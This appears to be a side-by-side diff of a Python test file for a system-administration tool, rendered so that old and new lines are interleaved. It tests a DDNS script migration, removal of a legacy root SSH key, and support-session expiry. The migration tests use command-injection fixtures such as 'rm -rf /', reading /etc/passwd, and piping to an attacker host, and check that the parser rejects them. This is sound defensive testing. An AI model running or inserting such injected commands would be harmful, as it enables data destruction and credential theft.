class TestNjallaLegacyMigration(unittest.TestCase): class TestNjallaLegacyMigration(unittest.TestCase):
"""_migrate_legacy_njalla_script must not execute or preserve malicious content.""" """migrate_legacy_njalla_script must not execute or preserve malicious content.
def _run_migration(self, script_content: str) -> list[str]: All tests call the exact production implementation from support_ops with
"""Run the migration against a temp file and return extracted URLs.""" temporary files; no logic is duplicated here.
import json """
import tempfile
import sys
# We can't import server.py but we can replicate the migration logic def _run_migration(self, script_content: str) -> tuple[list[str], bool]:
# using security_helpers for validation. """Run the production migration against temp files, return (urls, script_archived)."""
import re captured_urls: list[str] = []
from sovran_systemsos_web.security_helpers import _validate_ddns_url saved = [False]
LEGACY_CURL_RE = re.compile( def _load():
r'^curl\s+(?:--silent\s+)?(?:--max-time\s+\d+\s+)?(?:--fail\s+)?' return []
r'(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f]|\$\{IP\})+)$'
)
extracted: list[str] = [] def _save(urls):
for raw_line in script_content.splitlines(): captured_urls.extend(urls)
line = raw_line.strip() saved[0] = True
if not line or line.startswith("#") or line.startswith("IP=") or line.startswith("#!/"):
continue
m = LEGACY_CURL_RE.match(line)
if not m:
continue
raw_url = m.group(1)
url_to_validate = raw_url.replace("${IP}", "127.0.0.1")
try:
_validate_ddns_url(url_to_validate)
extracted.append(raw_url)
except ValueError:
pass
return extracted
def test_valid_curl_line_extracted(self): with tempfile.TemporaryDirectory() as tmpdir:
script_path = os.path.join(tmpdir, "njalla.sh")
with open(script_path, "w") as f:
f.write(script_content)
os.chmod(script_path, 0o755)
support_ops.migrate_legacy_njalla_script(
script_path,
_validate_ddns_url,
_save,
_load,
)
archived = oct(os.stat(script_path).st_mode)[-3:] == "000"
return captured_urls, archived
def test_valid_unquoted_curl_line_extracted(self):
script = ( script = (
"#!/usr/bin/env bash\n" "#!/usr/bin/env bash\n"
"IP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)\n" "IP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)\n"
"curl --silent https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}\n" "curl --silent https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}\n"
) )
urls = self._run_migration(script) urls, archived = self._run_migration(script)
self.assertEqual(len(urls), 1) self.assertEqual(len(urls), 1)
self.assertIn("njal.la", urls[0]) self.assertIn("njal.la", urls[0])
self.assertTrue(archived, "script should be archived after successful migration")
def test_valid_quoted_curl_line_extracted(self):
"""Historical quoted form: curl \"https://njal.la/...\" must be parsed."""
script = (
"#!/usr/bin/env bash\n"
'curl "https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}"\n'
)
urls, archived = self._run_migration(script)
self.assertEqual(len(urls), 1, "quoted URL must be extracted")
self.assertIn("njal.la", urls[0])
def test_command_injection_not_extracted(self): def test_command_injection_not_extracted(self):
script = "curl https://njal.la/update/?k=TOKEN; rm -rf /\n" script = "curl https://njal.la/update/?k=TOKEN; rm -rf /\n"
urls = self._run_migration(script) urls, _ = self._run_migration(script)
self.assertEqual(urls, []) self.assertEqual(urls, [])
def test_backtick_injection_not_extracted(self): def test_backtick_injection_not_extracted(self):
script = "curl https://njal.la/update/?k=`cat /etc/passwd`\n" script = "curl https://njal.la/update/?k=`cat /etc/passwd`\n"
urls = self._run_migration(script) urls, _ = self._run_migration(script)
self.assertEqual(urls, []) self.assertEqual(urls, [])
def test_pipe_injection_not_extracted(self): def test_pipe_injection_not_extracted(self):
script = "curl https://njal.la/update/?k=TOKEN | curl https://attacker.com\n" script = "curl https://njal.la/update/?k=TOKEN | curl https://attacker.com\n"
urls = self._run_migration(script) urls, _ = self._run_migration(script)
self.assertEqual(urls, []) self.assertEqual(urls, [])
def test_dollar_injection_not_extracted(self): def test_dollar_injection_not_extracted(self):
script = "curl https://njal.la/update/?k=$(evil_command)\n" script = "curl https://njal.la/update/?k=$(evil_command)\n"
urls = self._run_migration(script) urls, _ = self._run_migration(script)
self.assertEqual(urls, []) self.assertEqual(urls, [])
def test_non_njalla_url_not_extracted(self): def test_non_njalla_url_not_extracted(self):
script = "curl https://attacker.example.com/update/?k=TOKEN\n" script = "curl https://attacker.example.com/update/?k=TOKEN\n"
urls = self._run_migration(script) urls, _ = self._run_migration(script)
self.assertEqual(urls, []) self.assertEqual(urls, [])
def test_http_url_not_extracted(self): def test_http_url_not_extracted(self):
script = "curl http://njal.la/update/?k=TOKEN\n" script = "curl http://njal.la/update/?k=TOKEN\n"
urls = self._run_migration(script) urls, _ = self._run_migration(script)
self.assertEqual(urls, []) self.assertEqual(urls, [])
def test_semicolons_in_url_not_extracted(self):
script = "curl https://njal.la/update/?k=TOKEN;echo evil\n"
urls, _ = self._run_migration(script)
self.assertEqual(urls, [])
def test_newline_injection_not_extracted(self):
script = 'curl "https://njal.la/update/?k=TOKEN\necho evil"\n'
urls, _ = self._run_migration(script)
self.assertEqual(urls, [])
def test_malformed_quotes_not_extracted(self):
"""Half-open quote must not match."""
script = 'curl "https://njal.la/update/?k=TOKEN\n'
urls, _ = self._run_migration(script)
self.assertEqual(urls, [])
def test_failed_persistence_leaves_script_untouched(self):
"""If save_fn raises, the script must NOT be archived."""
def _fail_save(urls):
raise OSError("disk full")
with tempfile.TemporaryDirectory() as tmpdir:
script_path = os.path.join(tmpdir, "njalla.sh")
script_content = (
"#!/usr/bin/env bash\n"
"curl https://njal.la/update/?h=test&k=TOKEN\n"
)
with open(script_path, "w") as f:
f.write(script_content)
os.chmod(script_path, 0o755)
support_ops.migrate_legacy_njalla_script(
script_path,
_validate_ddns_url,
_fail_save,
lambda: [],
)
# Script must still be executable (not archived)
mode = oct(os.stat(script_path).st_mode)[-3:]
self.assertNotEqual(mode, "000", "script must not be archived when persistence fails")
# --------------------------------------------------------------------------- # ---------------------------------------------------------------------------
# Legacy root key removal # Legacy root key removal — production-backed tests
# --------------------------------------------------------------------------- # ---------------------------------------------------------------------------
class TestLegacyRootKeyRemoval(unittest.TestCase): class TestLegacyRootKeyRemoval(unittest.TestCase):
"""_remove_legacy_root_support_key must remove only the legacy key.""" """remove_legacy_root_key must remove only the exact historical key blob.
def _simulate_removal(self, lines: list[str]) -> list[str]: All tests call the exact production implementation from support_ops with
"""Simulate the key-removal logic without touching real files.""" temporary files; no simulation is used.
COMMENT = "sovransystemsos-support" """
kept = []
for line in lines:
stripped = line.rstrip("\n")
parts = stripped.split()
if len(parts) >= 3 and parts[2] == COMMENT:
pass # remove
else:
kept.append(line)
return kept
def test_legacy_key_removed(self): TARGET_BLOB = support_ops.LEGACY_ROOT_KEY_BLOB
lines = [
"ssh-ed25519 AAAA admin@host\n", def _do_removal(self, file_content: str) -> tuple[bool, str]:
"ssh-ed25519 BBBB sovransystemsos-support\n", """Run production key removal, return (changed, result_content)."""
"ssh-ed25519 CCCC another@host\n", with tempfile.TemporaryDirectory() as tmpdir:
] auth_keys = os.path.join(tmpdir, "authorized_keys")
result = self._simulate_removal(lines) with open(auth_keys, "w") as f:
self.assertEqual(len(result), 2) f.write(file_content)
contents = "".join(result) changed = support_ops.remove_legacy_root_key(auth_keys, self.TARGET_BLOB)
self.assertNotIn("sovransystemsos-support", contents) with open(auth_keys) as f:
self.assertIn("admin@host", contents) result = f.read()
self.assertIn("another@host", contents) return changed, result
def test_exact_historical_key_removed(self):
"""The exact historical key must be removed regardless of comment."""
lines = (
"ssh-ed25519 AAAA admin@host\n"
f"ssh-ed25519 {self.TARGET_BLOB} free@nixos\n"
"ssh-ed25519 CCCC another@host\n"
)
changed, result = self._do_removal(lines)
self.assertTrue(changed)
self.assertNotIn(self.TARGET_BLOB, result)
self.assertIn("admin@host", result)
self.assertIn("another@host", result)
def test_same_comment_different_blob_preserved(self):
"""A key with 'free@nixos' comment but different blob must NOT be removed."""
lines = (
"ssh-ed25519 DIFFERENTBLOB free@nixos\n"
)
changed, result = self._do_removal(lines)
self.assertFalse(changed)
self.assertIn("DIFFERENTBLOB", result)
def test_legacy_key_with_different_comment_removed(self):
"""The exact blob with any comment (or no comment) must be removed."""
lines = f"ssh-ed25519 {self.TARGET_BLOB} some-other-comment\n"
changed, result = self._do_removal(lines)
self.assertTrue(changed)
self.assertNotIn(self.TARGET_BLOB, result)
def test_unrelated_keys_preserved(self): def test_unrelated_keys_preserved(self):
lines = [ lines = "ssh-ed25519 AAAA admin@host\nssh-ed25519 CCCC another@host\n"
"ssh-ed25519 AAAA admin@host\n", changed, result = self._do_removal(lines)
"ssh-ed25519 CCCC another@host\n", self.assertFalse(changed)
]
result = self._simulate_removal(lines)
self.assertEqual(result, lines) self.assertEqual(result, lines)
def test_empty_file_unchanged(self): def test_empty_file_unchanged(self):
self.assertEqual(self._simulate_removal([]), []) changed, result = self._do_removal("")
self.assertFalse(changed)
self.assertEqual(result, "")
def test_comment_line_preserved(self): def test_comment_line_preserved(self):
lines = [ lines = "# authorized keys\nssh-ed25519 AAAA admin@host\n"
"# authorized keys\n", changed, result = self._do_removal(lines)
"ssh-ed25519 AAAA admin@host\n", self.assertFalse(changed)
]
result = self._simulate_removal(lines)
self.assertEqual(result, lines) self.assertEqual(result, lines)
def test_multiple_legacy_keys_all_removed(self): def test_missing_file_returns_false(self):
lines = [ result = support_ops.remove_legacy_root_key("/nonexistent/path", self.TARGET_BLOB)
"ssh-ed25519 AAAA sovransystemsos-support\n", self.assertFalse(result)
"ssh-ed25519 BBBB sovransystemsos-support\n",
"ssh-ed25519 CCCC admin@host\n", def test_audit_callback_called(self):
] events = []
result = self._simulate_removal(lines) lines = f"ssh-ed25519 {self.TARGET_BLOB} free@nixos\n"
self.assertEqual(len(result), 1) with tempfile.TemporaryDirectory() as tmpdir:
self.assertIn("admin@host", "".join(result)) auth_keys = os.path.join(tmpdir, "authorized_keys")
with open(auth_keys, "w") as f:
f.write(lines)
support_ops.remove_legacy_root_key(
auth_keys, self.TARGET_BLOB,
audit_fn=lambda event, details="": events.append(event),
)
self.assertIn("LEGACY_ROOT_KEY_REMOVED", events)
# --------------------------------------------------------------------------- # ---------------------------------------------------------------------------
# Support session expiration # Support session expiry — production-backed tests
# --------------------------------------------------------------------------- # ---------------------------------------------------------------------------
class TestSupportSessionExpiration(unittest.TestCase): class TestSupportSessionExpiration(unittest.TestCase):
"""Support session expiry logic must respect expires_at.""" """expire_if_stale must enforce expiry and the session_id guard.
def _is_expired(self, session_info: dict) -> bool: All tests call the exact production implementation from support_ops with
"""Replicate the expiry check from _expire_support_if_stale.""" temporary files and injectable clock/disable functions.
import time """
expires_at = session_info.get("expires_at")
if expires_at is None: def _write_session(self, tmpdir, **fields) -> str:
enabled_at = session_info.get("enabled_at", 0) status_file = os.path.join(tmpdir, "support-session-status")
return bool(enabled_at and (time.time() - enabled_at) > 86400) with open(status_file, "w") as f:
return time.time() >= expires_at json.dump(fields, f)
return status_file
def test_future_expiry_not_expired(self): def test_future_expiry_not_expired(self):
import time import time
info = {"expires_at": time.time() + 3600} with tempfile.TemporaryDirectory() as tmpdir:
self.assertFalse(self._is_expired(info)) sf = self._write_session(tmpdir, expires_at=time.time() + 3600)
disabled = [False]
result = support_ops.expire_if_stale(
sf,
clock_fn=time.time,
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
)
self.assertFalse(result)
self.assertFalse(disabled[0])
def test_past_expiry_expired(self): def test_past_expiry_expired(self):
import time import time
info = {"expires_at": time.time() - 1} with tempfile.TemporaryDirectory() as tmpdir:
self.assertTrue(self._is_expired(info)) sf = self._write_session(tmpdir, expires_at=time.time() - 1)
disabled = [False]
result = support_ops.expire_if_stale(
sf,
clock_fn=time.time,
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
)
self.assertTrue(result)
self.assertTrue(disabled[0])
def test_no_expiry_recent_session_not_expired(self): def test_no_expiry_recent_session_not_expired(self):
import time import time
info = {"enabled_at": time.time() - 100} with tempfile.TemporaryDirectory() as tmpdir:
self.assertFalse(self._is_expired(info)) sf = self._write_session(tmpdir, enabled_at=time.time() - 100)
result = support_ops.expire_if_stale(sf, clock_fn=time.time)
self.assertFalse(result)
def test_no_expiry_old_session_expired(self): def test_no_expiry_old_session_expired(self):
import time import time
info = {"enabled_at": time.time() - 86401} with tempfile.TemporaryDirectory() as tmpdir:
self.assertTrue(self._is_expired(info)) sf = self._write_session(tmpdir, enabled_at=time.time() - 86401)
disabled = [False]
result = support_ops.expire_if_stale(
sf,
clock_fn=time.time,
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
)
self.assertTrue(result)
self.assertTrue(disabled[0])
def test_session_id_guard_matching_expires(self):
"""Timer with matching session_id must expire the session."""
import time
sid = "test-session-id"
exp = time.time() - 1
with tempfile.TemporaryDirectory() as tmpdir:
sf = self._write_session(tmpdir, session_id=sid, expires_at=exp)
disabled = [False]
result = support_ops.expire_if_stale(
sf,
clock_fn=time.time,
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
session_id=sid,
expected_expiry=exp,
)
self.assertTrue(result)
self.assertTrue(disabled[0])
def test_stale_timer_does_not_revoke_replacement_session(self):
"""A timer for an old session must not revoke a newer replacement session."""
import time
old_sid = "old-session"
new_sid = "new-session"
exp = time.time() - 1
with tempfile.TemporaryDirectory() as tmpdir:
# Current session has the NEW session id
sf = self._write_session(tmpdir, session_id=new_sid, expires_at=exp)
disabled = [False]
# Timer fires with OLD session id
result = support_ops.expire_if_stale(
sf,
clock_fn=time.time,
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
session_id=old_sid, # stale — doesn't match stored new_sid
expected_expiry=exp,
)
self.assertFalse(result, "stale timer must not revoke replacement session")
self.assertFalse(disabled[0])
def test_stale_expiry_mismatch_does_not_revoke(self):
"""A timer with mismatched expected_expiry must not revoke."""
import time
sid = "same-sid"
exp = time.time() - 1
with tempfile.TemporaryDirectory() as tmpdir:
sf = self._write_session(tmpdir, session_id=sid, expires_at=exp + 999)
disabled = [False]
result = support_ops.expire_if_stale(
sf,
clock_fn=time.time,
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
session_id=sid,
expected_expiry=exp, # differs from stored exp+999
)
self.assertFalse(result)
self.assertFalse(disabled[0])
def test_startup_reconciliation_with_live_session(self):
"""On startup, a live session must not be expired."""
import time
with tempfile.TemporaryDirectory() as tmpdir:
sf = self._write_session(tmpdir, expires_at=time.time() + 3600, session_id="live")
disabled = [False]
result = support_ops.expire_if_stale(
sf,
clock_fn=time.time,
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
)
self.assertFalse(result)
self.assertFalse(disabled[0])
def test_audit_callback_receives_support_expired_event(self):
import time
with tempfile.TemporaryDirectory() as tmpdir:
sf = self._write_session(tmpdir, expires_at=time.time() - 1)
events = []
support_ops.expire_if_stale(
sf,
clock_fn=time.time,
audit_fn=lambda event, details="": events.append(event),
)
self.assertIn("SUPPORT_EXPIRED", events)
def test_zero_enabled_at_not_expired(self): def test_zero_enabled_at_not_expired(self):
info = {"enabled_at": 0} with tempfile.TemporaryDirectory() as tmpdir:
self.assertFalse(self._is_expired(info)) sf = self._write_session(tmpdir, enabled_at=0)
result = support_ops.expire_if_stale(sf)
self.assertFalse(result)
# ---------------------------------------------------------------------------
# Cron composition
# ---------------------------------------------------------------------------
class TestCronComposition(unittest.TestCase):
"""configuration.nix must not disable cron (rsnapshot and other module jobs depend on it)."""
def _get_config_content(self):
path = os.path.join(_REPO_ROOT, "configuration.nix")
with open(path) as f:
return f.read()
def test_cron_not_disabled(self):
"""services.cron.enable = false must not appear in configuration.nix."""
self.assertNotIn("services.cron.enable = false", self._get_config_content())
def test_sovran_ddns_update_timer_in_njalla(self):
"""The periodic Njalla updater must be the systemd timer, not a cron job."""
path = os.path.join(_REPO_ROOT, "modules", "core", "njalla.nix")
with open(path) as f:
content = f.read()
self.assertIn("sovran-ddns-update", content)
self.assertNotIn("services.cron", content)
if __name__ == "__main__": if __name__ == "__main__":